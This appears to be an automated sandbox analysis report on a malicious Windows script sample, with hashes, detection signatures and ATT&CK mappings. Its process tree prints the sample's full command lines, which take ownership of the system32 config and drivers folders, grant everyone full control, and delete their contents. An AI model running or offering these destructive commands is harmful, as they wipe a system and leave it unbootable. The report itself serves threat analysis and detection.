92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a

Analysis

max time kernel
149s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
15/08/2024, 21:30

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General

Target
script.wsf
Size 2KB
Sample240815-1chybazemk
SHA256 92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a
MD5 cef6ac1c7b72212cb9b26421ba748362
SHA1 05858a591fc90a1af835454aee11b7d893649517
SHA512 435bcf3fa63381455db93dc4f13be02a276e351721a726fcea1c5a2ef93037e09bac09c5dbaf76b1ceb9e97a39d360a73fd9a7316f32b1c582e4bc738fe21e1c
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
3512	takeown.exe
3948	takeown.exe
3188	icacls.exe
3468	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3188	icacls.exe
3468	icacls.exe
3948	takeown.exe
3512	takeown.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3512	takeown.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 5056	2856	cmd.exe	85
PID 2856 wrote to memory of 5056	2856	cmd.exe	85
PID 5056 wrote to memory of 3152	5056	WScript.exe	86
PID 5056 wrote to memory of 3152	5056	WScript.exe	86
PID 5056 wrote to memory of 4652	5056	WScript.exe	88
PID 5056 wrote to memory of 4652	5056	WScript.exe	88
PID 3152 wrote to memory of 3948	3152	cmd.exe	90
PID 3152 wrote to memory of 3948	3152	cmd.exe	90
PID 4652 wrote to memory of 3512	4652	cmd.exe	91
PID 4652 wrote to memory of 3512	4652	cmd.exe	91
PID 3152 wrote to memory of 3188	3152	cmd.exe	92
PID 3152 wrote to memory of 3188	3152	cmd.exe	92
PID 4652 wrote to memory of 3468	4652	cmd.exe	93
PID 4652 wrote to memory of 3468	4652	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\script.wsf thescript.vbs && start thescript.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\system32\takeown.exe
      takeown /f c:\windows\system32\config\*
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3948
  - - C:\Windows\system32\icacls.exe
      icacls c:\windows\system32\config\* /grant everyone:(f)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3188
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4652
  - - C:\Windows\system32\takeown.exe
      takeown /f c:\windows\system32\drivers\*
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3512
  - - C:\Windows\system32\icacls.exe
      icacls c:\windows\system32\drivers\* /grant everyone:(f)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

thescript.vbs

Path C:\Users\Admin\AppData\Local\Temp\thescript.vbs
Size 2KB
SHA256 92a5545652c35328d20dc8bb70348ebda3b1eb49b1c0f111976ab3912de1801a
MD5 cef6ac1c7b72212cb9b26421ba748362
SHA1 05858a591fc90a1af835454aee11b7d893649517
SHA512 435bcf3fa63381455db93dc4f13be02a276e351721a726fcea1c5a2ef93037e09bac09c5dbaf76b1ceb9e97a39d360a73fd9a7316f32b1c582e4bc738fe21e1c
MD5 SHA1 SHA512

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